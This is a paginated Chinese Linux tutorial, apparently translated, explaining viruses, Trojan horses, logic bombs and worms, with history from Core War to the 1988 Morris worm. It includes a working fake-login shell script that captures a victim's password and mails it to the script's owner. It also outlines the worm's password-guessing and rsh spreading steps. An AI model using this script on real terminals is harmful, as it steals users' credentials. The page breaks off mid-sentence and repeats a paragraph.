当前位置:Linux教程 - Linux综合 - 病毒:众人关注的话题

病毒:众人关注的话题

简介    通常有四种截然不同类型的威胁,不过用户经常混淆它们,这主要是因为一次攻击的发生往往是各种机制同时作用的结果:    病毒 自我复制以感染宿主程序体;    特洛伊木马 执行任务以将之自身隐藏在某个貌似无害的应用程序中;    蠕虫 利用计算机网络来进行自我繁殖,例如通过电子邮件;    后门程序 允许外部用户使用间接手段掌控某项应用程序。    对它们加以分类通常不那么容易;例如,有些程序在某些观测者看来是病毒,但其它人却认为它们是蠕虫,要做出最终的决策是十分棘手的。不过对于本文所涉及的范围来说,这倒并不很重要,本文意在阐明哪种威胁会危及Linux系统。    与普遍看法正相反的是,这四种祸害其实已经都存在于Linux上了。当然,病毒的传播环境不像在如DOS下那么有利,但现有的威胁亦不容小视。就让我们分析一下有哪些风险。 潜在的威胁    病毒    病毒是一小段安置在某个宿主程序核心位置的代码,它能够通过感染新的执行文件来自我复制。病毒最早出现于70年代,当时的程序员在玩一个叫做"core war"的游戏。这个游戏来自于Bell AT&T laboratories[MARSDEN 00]。其目标是在有限的内存区域里并行运行,小程序能够互相破坏。操作系统没有提供程序内存区域之间的保护,这样就允许相互进攻以消灭对手。为此,有些人使用'0'来“轰炸”最大可能的内存区域,与此同时,其它一些人永远在地址空间中移动,希望覆盖掉对手的代码,有时,他们中的一些会联合起来消灭某个难对付的“敌人”。    实现该游戏的算法被翻译成一门特别为其创建的汇编语言“red code”,它通过绝大多数现有机器上的仿真器来执行。游戏中的乐趣更多源于科学的好奇,就如对the Life of Conway Game,不规则碎片形和遗传算法等的狂热一样。    不过,随着关于core war的文章发表在Scientific American[DEWDNEY 84]上,不可避免的事发生了,有些人开始编写小段的自我复制的代码,这些代码特别针对于软驱启动扇区或者可执行文件。起初是在Apple ][计算机上出现,接下来就到了MacIntosh和PC的计算机上。    MS DOS操作系统成为了病毒繁殖环境的绝佳之选:静态可执行文件有着众所周知的格式,没有内存保护,没有基于文件存取权限的安全设置,广泛地在内存中堆叠使用TSR常驻程序,等等。我们必须还加上一条用户心理状态的因素,他们疯狂地用软盘交换可执行程序甚而毫不考虑文件的来源。    在最简单的模式中,病毒就是一小段代码,它可以在启动一项应用程序时作为附件执行。它将利用这段时间来查找其它尚未感染的可执行文件,将其自身内嵌入这些文件中(要是考虑再周到一些,最好保持原程序不作修改)并退出。一旦启动新的可执行文件时,进程即会重新启动。    得益于大量“利器”的协助,病毒可以自动复制自身。在[LUDWIG 91]和[LUDWIG 93]中,有关于for DOS病毒的详细描述,它们使用诡秘的隐身术以保持领先于当前的杀毒软件:随机加密,代码永久变化等等。你甚至可能遇到使用遗传算法来优化其生存期和繁殖能力的病毒。相关的信息你可以在以下这篇非常著名的文档中找到:[SPAFFORD 94].    而我们必须牢记于心的是计算机病毒已经超越了虚拟生活中试验的主题范围,它可以造成大面积的损害。一小段代码的多重复制本质不过是空间的浪费(磁盘和内存),而病毒则可以此作为支撑——运输工具——来服务于其它更加令人不快的东西:逻辑炸弹,我们将在特洛伊木马中再次谈到它。    特洛伊木马和逻辑炸弹    Timeo Danaos et dona ferentes - 即便当希腊人送礼时,我也惧怕他们。 (Virgile, Aeneid,II, 49)。    被围困的特洛伊人作了一个糟糕的决定,他们将大量被希腊攻击者作为宗教祭品而遗弃的木马雕像放进了城。真正的突击队就藏在特洛伊木马的侧部,待到他们一旦渗入城内,便利用夜幕掩护从里面攻击城池,这样使得希腊人最终赢得了特洛伊战争的胜利。
[1] [2] [3] 下一页 

   著名的“特洛伊木马”常被用作计算机安全领域的专门术语,它表示一个看似无害的应用程序,就如上面提到的病毒一样,传播破坏性的代码逻辑炸弹。    逻辑炸弹是一段恶意伤害的程序,它具备各种迥异的效力:    系统资源的高消耗(内存,硬盘,CPU等等。);    所有可能文件的快速破坏(覆盖它们以阻止用户找回其内容);    不时地对一个文件进行秘密侵蚀,以尽可能隐藏得更久;    对系统安全的攻击(执行十分松懈的存取权限,将密码文件发送给一个internet地址等等。);    将该机器作为计算机恐怖行动之用,这些恐怖行动如DDoS(Distributed Denial of Service)之类的都在业已闻名的文章[GIBSON 01]中有提到;    关于磁盘上应用程序注册码的详细清单,并将其发送给软件开发者。    在某些情况下,逻辑炸弹会针对特定的目标系统来编写,以试图窃取其上的机密信息,破坏特殊文件或者盗用用户身份识别去毁损其名誉。同样的炸弹在任何其他类型的系统上则是无害的。    逻辑炸弹也可以试图在物理上破坏其驻留的系统。这种可能性虽然不大,但是确实存在(删除CMOS存储器内容,修改modem闪存内容,打印机、绘图仪、扫描仪的头部毁灭性的移动,硬盘读磁头的加速运转...)    倘若继续按照“炸弹”的比喻描述,我们可以说逻辑炸弹需要雷管来引爆。实际上,就效率而言,特洛伊木马或病毒在首次启动时就执行破坏性的操作是一个不好的策略。在安装了逻辑炸弹之后,最好是等待一会再爆炸。对于病毒传播来说,这可以增加其在其它系统中传播的“机会”;而就特洛伊木马来说,则可以不让用户太容易发现新的应用程序安装与他机器上的异常现象之间的联系。    就像任何害人之举一样,发作机制也是各有不同:安装后延迟十天,删除特定用户帐号(临时删除),键盘和鼠标停止活动30分钟,打印机队列的高负载...无所不缺!最有名的特洛伊木马是屏幕保护程序,尽管今天看来这有点太老套。在诱人的外表下,这些程序能够不受干扰地实施破坏,特别是如果逻辑炸弹恰在一小时之后引爆,那么几乎可以肯定用户此时已经不在计算机前面了。    另一个特洛伊木马的著名例子是下面这个脚本,它显示一个登录/密码(login/passWord)屏幕,并发送信息给启动程序的人然后退出。若它工作于未使用的终端,该脚本将会俘获下个尝试连接的用户的密码。    #! /bin/sh    clear    cat /etc/issue    echo -n "login: "    read login    echo -n "Password: "    stty -echo    read passwd    stty sane    mail $USER <<- fin login: $login passwd: $passwd    fin    echo "Login incorrect"    sleep 1    logout    为使之在完成以后断开连接,它必须用shell命令exec启动。当受害者看到"Login incorrect"消息时,会以为自己输入错误,他们会以常规的方法尝试再次连接。更为高级的版本能够模拟X11连接对话框。为了避免落入这种圈套,最好是先在终端上使用一个错误的登录/密码(这种方法反其道而行之,十分容易而且很快就能学会)。    蠕虫    Paul发现自己在Worm之上,欢呼雀跃,就像一位君主主宰了整个宇宙。(F. Herbert "Dune") "Worms"出自于与病毒一样的原理。它们是一种尝试复制自身以尽可能传播得最广的程序。它们也可以携带一枚装备了延迟触发器的逻辑炸弹,尽管这并非其主要功能。蠕虫与病毒的差别在于蠕虫不使用宿主程序作为传播媒介,它们试图得益于由网络提供的功能,例如电子邮件来从一台机器传到另一台机器。    蠕虫的技术等级相当高;它们利用提供网络服务的软件的漏洞来促使其在远程机器上自我复制。其原型是1988"Internet Worm"。    Internet Worm是一个纯蠕虫的例子,没有包含逻辑炸弹,不过其不露声色的破坏效果十分可怕。你可以在[KEHOE 92]上找到对其简短而精到的描述,或者在[SPAFFORD 88]或[EICHIN 89]上找到详细的分析报告。    简而言之,蠕虫程序的作者是Robert Morris Jr,他当时是Cornell大学的学生,并已经因为一篇关于网络协议中的安全问题的文章[MORRIS 85]而小有名气。他便是在NCSC(NSA的分支部门)因计算机安全而被指控的那个人。程序是在1988年11月2日傍晚发布的,并且导致连接到Internet上的绝大多数系统停止运行。它的工作步骤如下:    1.一旦渗透进入计算机,蠕虫就尝试传入网络。为了获取地址,它读取系统文件并调用工具程序如netstat来提供关于网络接口的信息。
上一页 [1] [2] [3] 下一页 

   2.接下来,它试图获得用户帐号。为此,它拿字典内容与密码文件作比较。同时,它尝试使用用户名字的组合(反向,重复等等)作为密码。这一步会要借助于系统的第一个漏洞:密码加密在一个可读的文件(/etc/passwd)中,这样便可以从某些用户对密码的糟糕选择中获益。第一个漏洞现在已经通过使用shadow passwords获得解决。    3.如果成功地获得了用户的帐号,蠕虫会试图找出那些提供直接访问而无需身份鉴定的机器,也就是使用~/.rhost和/etc/hosts.equiv文件。在那种情况下,再使用rsh来在远程机器上执行指令。这样,

(出处:http://www.sheup.com)


上一页 [1] [2] [3] 

   3.如果成功地获得了用户的帐号,蠕虫会试图找出那些提供直接访问而无需身份鉴定的机器,也就是使用~/.rhost和/etc/hosts.equiv文件。在那种情况下,再使用rsh来在远程机器上执行指令。这样,

(出处:http://www.sheup.com/)


上一页 [1] [2] [3] [4]